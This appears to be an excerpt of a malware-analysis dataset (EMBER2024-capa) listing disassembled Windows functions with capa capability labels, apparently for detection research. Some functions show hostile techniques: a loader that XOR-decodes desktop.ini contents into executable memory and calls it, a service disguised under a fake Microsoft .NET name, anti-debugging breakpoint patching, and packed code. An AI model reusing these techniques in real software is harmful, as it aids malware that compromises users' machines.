joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41a458
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [esi], ax
je 0x41a46f
xor al, al
jmp 0x41a4c6
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x41a46b
movzx ecx, word [eax + 6]
add eax, 0x108
push ebx
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
test ecx, ecx
je 0x41a4c2
mov ebx, eax
mov edx, dword [ebp + 0xc]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp + 8], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a4a0
sub ecx, dword [ebp + 8]
push ecx
push ebx
push edx
call fcn.00427c10
add esp, 0xc
test eax, eax
je 0x41a4cd
inc edi
add ebx, 0x28
cmp edi, dword [ebp - 4]
jb 0x41a495
xor al, al
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 8]
imul ecx, edi, 0x28
mov edx, dword [ecx + eax + 0x14]
mov ecx, dword [ecx + eax + 0x10]
add edx, esi
mov eax, dword [ebp + 0xc]
push dword [eax + 0x90]
add eax, 0x10
push eax
push ecx
push edx
call fcn.0040473c
cmp eax, 0xffffffff
setne al
jmp 0x41a4c4

Function at 0x41a4fa
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
mov eax, 0x5a4d
push edi
mov edi, dword [ebp + 8]
cmp word [edi], ax
je 0x41a518
xor eax, eax
jmp 0x41a5a0
push esi
mov esi, dword [edi + 0x3c]
add esi, edi
cmp dword [esi], 0x4550
jne 0x41a536
push dword [esi + 0x80]
push esi
call fcn.0041c18a
test eax, eax
jne 0x41a53a
xor eax, eax
jmp 0x41a59f
push ebx
lea ebx, [eax + edi]
jmp 0x41a58c
mov eax, dword [ebx]
test eax, eax
jne 0x41a549
mov eax, dword [ebx + 0x10]
push eax
push esi
call fcn.0041c18a
add eax, edi
mov dword [ebp + 8], eax
mov ecx, dword [eax]
test ecx, ecx
je 0x41a589
mov ebx, dword [ebp - 4]
js 0x41a577
push ecx
push esi
call fcn.0041c18a
add eax, 2
add eax, edi
push eax
call fcn.0041c13e
add ebx, eax
mov eax, dword [ebp + 8]
add eax, 4
mov dword [ebp + 8], eax
mov ecx, dword [eax]
test ecx, ecx
jne 0x41a55e
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
add ebx, 0x14
push 0x14
push ebx
mov dword [ebp - 8], ebx
call fcn.0041c166
test al, al
je 0x41a540
mov eax, dword [ebp - 4]
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x41a5a8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
mov eax, 0x5a4d
push edi
mov edi, dword [ebp + 8]
cmp word [edi], ax
je 0x41a5c6
xor eax, eax
jmp 0x41a658
push esi
mov esi, dword [edi + 0x3c]
add esi, edi
cmp dword [esi], 0x4550
jne 0x41a5e4
push dword [esi + 0x90]
push esi
call fcn.0041c1dc
test eax, eax
jne 0x41a5e8
xor eax, eax
jmp 0x41a657
push ebx
lea ebx, [eax + edi]
jmp 0x41a644
mov eax, dword [ebx]
test eax, eax
jne 0x41a5f7
mov eax, dword [ebx + 0x10]
push eax
push esi
call fcn.0041c1dc
lea ecx, [edi + eax]
mov eax, dword [ecx]
mov dword [ebp - 8], ecx
mov ecx, dword [ecx + 4]
or eax, ecx
je 0x41a641
mov ebx, dword [ebp - 8]
and ecx, 0x80000000
xor eax, eax
or eax, ecx
jne 0x41a632
push dword [ebx]
push esi
call fcn.0041c1dc
add eax, 2
add eax, edi
push eax
call fcn.0041c13e
add dword [ebp - 4], eax
mov ecx, dword [ebx + 0xc]
add ebx, 8
mov eax, dword [ebx]
or eax, ecx
jne 0x41a610
mov ebx, dword [ebp + 8]
add ebx, 0x14
push 0x14
push ebx
mov dword [ebp + 8], ebx
call fcn.0041c166
test al, al
je 0x41a5ee
mov eax, dword [ebp - 4]
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x41cfbc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
jle 0x41cff4
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
sub esi, ebx
mov eax, edi
mov dword [ebp + 8], 7
cdq
lea ecx, [edi + ebx]
idiv dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov al, byte [eax + edx*4]
xor al, byte [esi + ecx]
inc edi
mov byte [ecx], al
cmp edi, dword [ebp + 0xc]
jl 0x41cfd1
pop esi
pop ebx
pop edi
pop ebp
ret 0x10
Function at 0x4211a2
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor eax, eax
cmp byte [ebp + 0x10], al
jne 0x42123e
cmp byte [eax + ecx], 0x48
jne 0x4211c7
cmp byte [eax + ecx + 1], 0x8b
jne 0x4211c7
cmp byte [eax + ecx + 2], 5
je 0x4211cf
inc eax
cmp eax, 0x40
jb 0x4211b3
jmp 0x4211e2
mov dword [eax + ecx], 0x90909090
mov word [eax + ecx + 4], 0x9090
mov byte [eax + ecx + 6], 0x90
mov eax, dword [ebp + 0xc]
jmp 0x421236
mov dl, byte [eax + ecx]
cmp dl, 0x48
jne 0x421236
cmp byte [eax + ecx + 1], 0x81
jne 0x421204
cmp byte [eax + ecx + 2], 0xc4
jne 0x421204
cmp byte [eax + ecx - 5], 0xe8
je 0x421280
cmp dl, 0x48
jne 0x421236
cmp byte [ecx + eax + 1], 0x33
jne 0x421236
cmp byte [ecx + eax + 2], 0xcc
jne 0x421236
cmp byte [ecx + eax + 3], 0xe8
jne 0x421236
add eax, 3
mov word [ecx + eax + 1], 0x9090
mov byte [eax + ecx], 0x90
mov byte [ecx + eax + 3], 0x90
mov byte [eax + ecx + 4], 0x90
dec eax
cmp eax, 1
ja 0x4211e7
jmp 0x42128d
cmp byte [eax + ecx], 0xa1
je 0x42124c
inc eax
cmp eax, 0x40
jb 0x42123e
jmp 0x421258
mov dword [eax + ecx], 0x90909090
mov byte [eax + ecx + 4], 0x90
mov eax, dword [ebp + 0xc]
jmp 0x421278
mov dl, byte [eax + ecx]
cmp dl, 0x8b
jne 0x42126c
cmp byte [eax + ecx + 1], 0xe5
je 0x421271
cmp dl, 0xc9
jne 0x421278
cmp byte [eax + ecx - 5], 0xe8
je 0x421280
dec eax
cmp eax, 1
ja 0x42125d
jmp 0x42128d
mov byte [eax + ecx - 1], 0x90
mov dword [eax + ecx - 5], 0x90909090
pop ebp
ret 0xc

Function at 0x4211e6
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor eax, eax
cmp byte [ebp + 0x10], al
jne 0x42123e
cmp byte [eax + ecx], 0x48
jne 0x4211c7
cmp byte [eax + ecx + 1], 0x8b
jne 0x4211c7
cmp byte [eax + ecx + 2], 5
je 0x4211cf
inc eax
cmp eax, 0x40
jb 0x4211b3
jmp 0x4211e2
mov dword [eax + ecx], 0x90909090
mov word [eax + ecx + 4], 0x9090
mov byte [eax + ecx + 6], 0x90
mov eax, dword [ebp + 0xc]
jmp 0x421236
mov dl, byte [eax + ecx]
cmp dl, 0x48
jne 0x421236
cmp byte [eax + ecx + 1], 0x81
jne 0x421204
cmp byte [eax + ecx + 2], 0xc4
jne 0x421204
cmp byte [eax + ecx - 5], 0xe8
je 0x421280
cmp dl, 0x48
jne 0x421236
cmp byte [ecx + eax + 1], 0x33
jne 0x421236
cmp byte [ecx + eax + 2], 0xcc
jne 0x421236
cmp byte [ecx + eax + 3], 0xe8
jne 0x421236
add eax, 3
mov word [ecx + eax + 1], 0x9090
mov byte [eax + ecx], 0x90
mov byte [ecx + eax + 3], 0x90
mov byte [eax + ecx + 4], 0x90
dec eax
cmp eax, 1
ja 0x4211e7
jmp 0x42128d
cmp byte [eax + ecx], 0xa1
je 0x42124c
inc eax
cmp eax, 0x40
jb 0x42123e
jmp 0x421258
mov dword [eax + ecx], 0x90909090
mov byte [eax + ecx + 4], 0x90
mov eax, dword [ebp + 0xc]
jmp 0x421278
mov dl, byte [eax + ecx]
cmp dl, 0x8b
jne 0x42126c
cmp byte [eax + ecx + 1], 0xe5
je 0x421271
cmp dl, 0xc9
jne 0x421278
cmp byte [eax + ecx - 5], 0xe8
je 0x421280
dec eax
cmp eax, 1
ja 0x42125d
jmp 0x42128d
mov byte [eax + ecx - 1], 0x90
mov dword [eax + ecx - 5], 0x90909090
pop ebp
ret 0xc
Function at 0x468f44
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebx
nop
pushal
pushal
pushfd
mov byte [esp], 0x59
xchg dword [esp + 0x44], ebx
mov word [esp + 8], 0x4946
bswap bx
bswap ebx
mov ebx, dword [esp + 0x48]
call fcn.004bc212
add al, 0xb
adc ecx, dword [esi + 0x6d25f009]
push ss
add eax, dword [eax]
lodsb al, byte [esi]
xor al, byte [0x130b0400]
mov cs, word [ecx]
invalid
and eax, 0x3166d
inc esp
mov bl, 0xa8
add dh, ah
sub edi, dword [edi + 0x1d]
or dword [ebx], edx
out dx, eax
and eax, 0x4f4b4158
and eax, 0xb26b326f
imul edx, dword [edi + eax*8 - 0x38], 0xeb367d1
pop es
dec ebx
movsb byte es:[edi], byte [esi]
jae 0x468f62
enter 0x4cd7, 0xffffffffffffff92
push 0xffffffffffffffb6
sti
into
dec eax
test al, 0x35
movsb byte es:[edi], byte [esi]
pop eax
push cs
xor al, 0x29
int1
xor eax, 0x4754712e
cmpsd dword [esi], dword es:[edi]
mov ch, 0x93
xchg dword [ebx - 0x65], edi
loopne 0x468f6c
dec ebx
iretd

Function at 0x481d8f
Capabilities:
Packed with generic packer

Disassembly:
jmp 0x498c85
lea ebx, [edi*2 + 0x1f82ba2e]
mov ebx, 0x41c98e
jmp fcn.00470dc7
pushal
lea ebx, [ebx + 1]
pushfd
pushfd
lea esp, [esp + 0x34]
jno 0x49909e
pushfd
mov dword [esp + 8], ebx
setns bl
lea esp, [esp + 4]
jge 0x47a068
push ebp
not bh
mov ebx, 0x41c98e
mov byte [esp], 0xf6
pushal
mov ebx, dword [ebx + 0xa0980]
jmp 0x46dbff
or dl, bh
or eax, 0xf6386822
adc byte [eax], dh
lea ebx, [ebx - 0x2d8913a6]
call fcn.004a7f63
fld qword [eax]
cwde
popal
mov eax, 0xa870b665
jle 0x498c3b
invalid

Function at 0x4a644f
Capabilities:
Encode data using xor

Disassembly:
mov ebp, dword [ebp + 0xbb962]
mov byte [esp + 4], 0x9d
lea ebp, [ebp - 0x2d8913a6]
mov word [esp + 0xc], cx
pushfd
call fcn.00496ce4
bswap bp
mov ebp, 0x4019ac
jmp 0x4733ac

Function at 0x4b2ae8
Capabilities:
Packed with generic packer

Disassembly:
mov dword [esp], edx
lea esp, [esp + 0x30]
ja 0x4792db
pushal
mov dword [esp + 0x24], edi
mov dword [esp + 0xc], edi
pushal
movzx di, al
lea edi, [ebx + 0x37ea4181]
mov edi, dword [esp + 0x30]
mov word [esp + 4], 0xf0
mov word [esp], 0x8648
pushfd
jmp 0x4731ab
lea edi, [edi + 1]
jmp 0x4643a0
call fcn.004a6d62
mov dword [esp + 0x1c], edi
movzx di, dl
mov edi, 0x40b441
pushfd
mov byte [esp + 8], 0x8e
call fcn.004b39fe
nop
jmp 0x4cb988
push esi
jmp 0x46facd

Function at 0x4b6b78
Capabilities:
Encode data using xor

Disassembly:
pushfd
mov dword [esp + 0x28], ebx
movsx bx, cl
bswap bx
push dword [esp + 0x14]
pop ebx
mov ebx, dword [esp + 0x2c]
call fcn.004ba038
lea esp, [esp + 4]
jo 0x461034
pushfd
push 0xa06ce408
nop
pushal
jmp 0x4766f9

Function at 0x4d82a2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea esp, [esp + 8]
je 0x4e0430
pushal
test dh, al
add eax, edi
cmc
cmp eax, edx
pushal
jmp 0x4d8352
lea esp, [esp + 0x40]
jb fcn.004e043b
cmc
cmp eax, dword [ebp - 0x10]
pushfd
pushal
mov word [esp + 4], bx
lea esp, [esp + 0x24]
jae fcn.004e043b
sub bh, 0x89
stc
mov ebx, eax
dec ch
sbb di, 0xa0f5
mov edi, eax
not cx
mov ecx, 0x104
stc
sub al, al
call fcn.004d5a02
lea esp, [esp + 4]
jne fcn.004d0607
pushfd
pushal
mov esi, dword [sym.imp.HAL.dll_HalMakeBeep]
pushal
lea esp, [esp + 0x44]
jmp 0x4d481a
Function at 0x4dc8e6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
imul edx, ebx, 0xd6bf21c1
mov edi, 0xae9fd536
aad 0x9f
scasb al, byte es:[edi]
call 0x7ceb0d15
xchg ebx, eax
mov al, bl
rol byte [ecx + 0x375cbb14], 0x64
nop
mov cl, bh
mov al, byte [0x1cf9e0b7]
loope 0x4dc911
cwde
mov bl, 0x64
out dx, al
jns 0x4dc8b4
or al, 0x8e
pop eax
mov al, bl
mov byte [edi - 1], 0
inc dword [eax]
lea eax, [edx + 0x43235901]
lahf
movsx ax, cl
push ebx
movzx eax, dl
call fcn.004d5587
cmp eax, 0x861274a5
loop 0x4dc8bc
cld
nop
mov gs, esi
cwde
out dx, eax
das
jge 0x4dc98a
cmpsb byte [esi], byte es:[edi]
pop ds
sub byte [edi + 0x209c7f6e], 0x7e
sub al, 0x70
movsb byte es:[edi], byte [esi]
jbe 0x4dc94a
jo 0x4dc940
jp 0x4dc98a
mov eax, 0x80dce4a
mov ch, 0x60
test al, 0x5c
mov ecx, 0x364ea219
inc edx
xchg edx, eax
mov ecx, 0xb16da863
mov bl, 0x29
adc byte [edx + 0x3ada3a7d], ch
push ebx
xor byte [edi - 0x7c], ah
xchg ebx, eax
test dword [edx + 0x6e], 0x752a9b04
in eax, dx
sub dh, byte [ebp - 0x13]
jg 0x4dc8eb
and byte [esi + 0x5d68b076], 0xb1
leave
or ebx, dword [esi + 0x31]
sahf
jns 0x4dc94a
lodsd eax, dword [esi]
mov al, 0xe5
adc dword [0x81ad4d48], 0x9b4c6018
adc byte [esi + 0x30], dl
neg dword [0x4fd07027]
invalid
sbb dword [edi + 0x39], ebx
int 0x4d
clc
popfd
std
mov bl, 0x64
out dx, eax
popal
in eax, dx
mov esi, 0x2444c7d6
mov dword [esp + 0x40], 0x4d61b7
invalid
mov ah, 0x35
invalid

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403853
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00402ee5
test eax, eax
pop ecx
je 0x4038a7
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x4035da
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402bc0
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.00403044
add esp, 0x18
call fcn.00402130
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x40a0a0
Capabilities:
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
mov ebx, ecx
push esi
mov esi, dword [esp + 0x14]
test eax, eax
jg 0x40a0c1
jl 0x40a0b7
test esi, esi
jne 0x40a0c1
pop esi
xor eax, eax
xor edx, edx
pop ebx
pop ecx
ret 0xc
cmp dword [ebx + 0x38], 0
push ebp
push edi
mov edi, esi
je 0x40a174
mov ebp, eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
nop dword [eax]
mov ecx, ebx
call fcn.00405c40
mov esi, eax
mov eax, edx
mov dword [esp + 0x10], eax
test eax, eax
jl 0x40a131
jg 0x40a0f9
test esi, esi
je 0x40a131
cmp ebp, eax
jg 0x40a109
jl 0x40a103
cmp edi, esi
jae 0x40a109
mov esi, edi
mov dword [esp + 0x10], ebp
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push dword [esp + 0x20]
call fcn.0040f680
mov eax, dword [ebx + 0x2c]
add esp, 0xc
sub edi, esi
sbb ebp, dword [esp + 0x10]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov eax, dword [esp + 0x18]
jmp 0x40a150
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov ecx, eax
cmp ecx, 0xffffffff
je 0x40a160
mov eax, dword [esp + 0x18]
add edi, 0xffffffff
mov esi, 1
adc ebp, 0xffffffff
mov byte [eax], cl
add eax, esi
mov dword [esp + 0x18], eax
test ebp, ebp
jg 0x40a0e0
jl 0x40a160
test edi, edi
jne 0x40a0e0
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
sub eax, edi
pop edi
sbb edx, ebp
pop ebp
pop esi
pop ebx
pop ecx
ret 0xc
mov eax, dword [ebx + 0x1c]
mov ebp, dword [esp + 0x18]
mov edx, dword [eax]
test edx, edx
je 0x40a1b9
mov eax, dword [ebx + 0x2c]
lea ecx, [ebx + 0x2c]
mov dword [esp + 0x10], ecx
mov eax, dword [eax]
test eax, eax
je 0x40a1c0
mov edi, dword [esp + 0x1c]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ebp
call fcn.0040f680
mov eax, dword [ebx + 0x2c]
add ebp, esi
sub edi, esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [esp + 0x1c]
jmp 0x40a1c0
lea eax, [ebx + 0x2c]
mov dword [esp + 0x10], eax
cmp dword [ebx + 0x4c], 0
je 0x40a229
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x40a1ea
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
mov dword [eax], edx
cmp edi, 0xfff
jbe 0x40a214
push dword [ebx + 0x4c]
push 0xfff
push 1
push ebp
call fcn.00414b9b
add esp, 0x10
add ebp, eax
sub edi, eax
cmp eax, 0xfff
jne 0x40a229
cmp edi, eax
ja 0x40a1f2
test edi, edi
je 0x40a229
push dword [ebx + 0x4c]
push edi
push 1
push ebp
call fcn.00414b9b
add esp, 0x10
sub edi, eax
mov edx, dword [esp + 0x20]
sub esi, edi
pop edi
pop ebp
mov eax, esi
sbb edx, 0
pop esi
pop ebx
pop ecx
ret 0xc

Function at 0x40ee0d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40ee4c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40ee4c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40ee4c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40ee4c
cmp dword [ecx + 0x74], 0xe
jbe 0x40ee4c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x41cddd
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x43068c
push 0x430684
push str.FlsAlloc
push 0x1e
call fcn.0041cc0a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41ce11
push dword [ebp + 8]
mov ecx, esi
call dword [0x42c180]
call esi
jmp 0x41ce17
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41ce5b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x43069c
push 0x430694
push str.FlsGetValue
push 0x20
call fcn.0041cc0a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41ce92
push dword [ebp + 8]
mov ecx, esi
call dword [0x42c180]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x41e5e2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041e284

Function at 0x41e5ed
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041e413

Function at 0x41e9e7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040f190
mov eax, dword [0x5ca540]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041d479
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41ea29
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41eb85
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0040e650
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x5ccd50]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041fbb7
mov ecx, dword [esi*4 + 0x5ccd50]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41eb7e
cmp eax, dword [edi + ecx + 0x24]
jne 0x41eb7e
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41eb7e
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041fbb7
add esp, 0x14
test edx, edx
jl 0x41eb7e
jg 0x41eaf4
test eax, eax
jb 0x41eb7e
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41eb7e
jl 0x41eb0e
cmp dword [ebp - 0x1008], eax
ja 0x41eb7e
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41eb2c
test ebx, ebx
je 0x41eb65
cmp ecx, edi
jae 0x41eb65
mov al, byte [ecx]
cmp al, 0xd
jne 0x41eb46
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41eb52
cmp byte [ecx + 1], 0xa
jne 0x41eb52
inc ecx
jmp 0x41eb52
movzx eax, al
movsx eax, byte [eax + 0x5ca800]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41eb2c
cmp edx, ebx
jne 0x41eb2c
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41eb83
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040e637
leave
ret
Function at 0x41f055
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x5ccd50]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41f095
cmp byte [ebx], 0xa
jne 0x41f095
or byte [eax + edi + 0x28], 4
jmp 0x41f09a
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41f198
mov al, byte [edx]
cmp al, 0x1a
je 0x41f17a
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41f0c9
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41f0ee
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41f0f8
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41f0ab
jmp 0x41f198
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41f175
cmp dword [ebp - 0xc], 0
je 0x41f175
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x5ccd50]
test byte [eax + edi + 0x28], 0x48
je 0x41f14f
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41f13a
mov byte [esi], dl
jmp 0x41f14b
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x5ccd50]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41f198
cmp byte [ebp - 1], 0xa
jne 0x41f15e
cmp esi, ebx
jne 0x41f15e
mov byte [esi], 0xa
jmp 0x41f197
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041fbd5
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41f198
mov byte [esi], 0xd
jmp 0x41f197
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x5ccd50]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41f194
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41f198
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret